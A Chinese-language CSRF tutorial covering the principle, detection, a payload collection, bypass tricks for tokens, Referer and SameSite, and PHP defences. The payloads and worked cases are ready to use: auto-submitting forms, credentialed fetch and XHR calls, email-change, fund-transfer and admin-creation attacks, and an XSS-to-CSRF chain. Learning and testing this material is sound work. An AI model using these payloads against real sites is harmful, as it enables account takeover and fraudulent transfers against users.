CSRF 漏洞详解

漏洞概述

CSRF(Cross-Site Request Forgery)跨站请求伪造,攻击者诱导用户在已登录状态下执行非预期操作。

OWASP Top 10: A01:2021
危害等级: ⭐⭐⭐⭐


漏洞原理

用户登录目标网站后,攻击者诱导用户访问恶意页面,利用用户的 Cookie 发起请求:

用户 → 登录 target.com → 获得 Cookie
用户 → 访问 attacker.com → 自动向 target.com 发起请求
target.com → 验证 Cookie 有效 → 执行操作

漏洞检测

基础测试

<!-- 测试 CSRF -->
<form action="http://target.com/change_email" method="POST">
  <input type="hidden" name="email" value="[email protected]">
  <input type="submit" value="Click Me">
</form>

<!-- 如果提交成功,说明存在 CSRF -->

检查防护措施

1. 检查是否有 CSRF Token
2. 检查 Referer/Origin 验证
3. 检查 SameSite Cookie 属性
4. 检查是否需要用户交互

Payload 大全

GET 请求 CSRF

<!-- 图片标签 -->
<img src="http://target.com/delete_user?id=123" width="1" height="1">

<!-- iframe -->
<iframe src="http://target.com/delete_user?id=123" width="1" height="1"></iframe>

<!-- link 标签 -->
<link rel="prefetch" href="http://target.com/delete_user?id=123">

POST 请求 CSRF

<!-- 自动提交表单 -->
<body onload="document.forms[0].submit()">
<form action="http://target.com/change_password" method="POST">
  <input type="hidden" name="password" value="hacker123">
  <input type="hidden" name="confirm" value="hacker123">
</form>
</body>

<!-- JavaScript 提交 -->
<script>
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "http://target.com/api/transfer", true);
  xhr.withCredentials = true;
  xhr.send("amount=1000&to=attacker");
</script>

JSON 请求 CSRF

<!-- fetch API -->
<script>
  fetch("http://target.com/api/update", {
    method: "POST",
    credentials: "include",
    headers: {
      "Content-Type": "application/json"
    },
    body: JSON.stringify({
      "email": "[email protected]"
    })
  });
</script>

<!-- form + enctype -->
<form action="http://target.com/api/update" method="POST" enctype="text/plain">
  <input type="hidden" name='{"email":"[email protected]","x":"' value='"}'>
</form>

绕过技巧

CSRF Token 绕过

<!-- 使用受害者 Token -->
<!-- 攻击者无法获取 Token,需要其他漏洞配合 -->

<!-- Token 与用户无关 -->
<!-- 使用自己注册的账号获取 Token -->

<!-- Token 验证不严格 -->
<input type="hidden" name="csrf_token" value="">
<input type="hidden" name="csrf_token" value="null">
<input type="hidden" name="csrf_token" value="undefined">

Referer 绕过

<!-- 删除 Referer -->
<meta name="referrer" content="never">

<!-- Referer 子域名绕过 -->
Referer: http://attacker.attacker-target.com/

<!-- Referer 为空时不验证 -->
<!-- 使用 meta 标签删除 Referer -->

SameSite 绕过

<!-- SameSite=Lax 可被 POST 绕过 -->
<!-- SameSite=Strict 较难绕过 -->

<!-- 使用子域名 -->
http://attacker.target.com/

<!-- 使用 302 重定向 -->
http://attacker.com/redirect → http://target.com/action

实战案例

案例 1: 修改邮箱

<form action="http://target.com/account/change_email" method="POST">
  <input type="hidden" name="email" value="[email protected]">
  <input type="hidden" name="confirm" value="[email protected]">
  <input type="submit" value="View Image">
</form>

案例 2: 转账攻击

<script>
  var img = new Image();
  img.src = "http://bank.com/transfer?to=attacker&amount=1000";
  document.body.appendChild(img);
</script>

案例 3: 添加管理员

<form action="http://target.com/admin/add_user" method="POST">
  <input type="hidden" name="username" value="hacker">
  <input type="hidden" name="password" value="hacker123">
  <input type="hidden" name="role" value="admin">
</form>

案例 4: XSS + CSRF

<!-- 先 XSS 获取 Token,再 CSRF -->
<script>
  fetch("http://target.com/form").then(r => r.text()).then(html => {
    var token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
    fetch("http://target.com/action", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: `csrf_token=${token}&action=delete_all`
    });
  });
</script>

防御建议

CSRF Token

// 生成 Token
session_start();
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;

// 验证 Token
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    die('CSRF validation failed');
}
// PHP 7.3+
setcookie('session', $value, [
    'samesite' => 'Strict',
    'secure' => true,
    'httponly' => true
]);

Referer 验证

// 验证 Referer
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (strpos($referer, 'https://target.com/') !== 0) {
    die('Invalid referer');
}

用户交互

<!-- 关键操作需要用户确认 -->
<input type="checkbox" name="confirm" required>
我确认要执行此操作

参考链接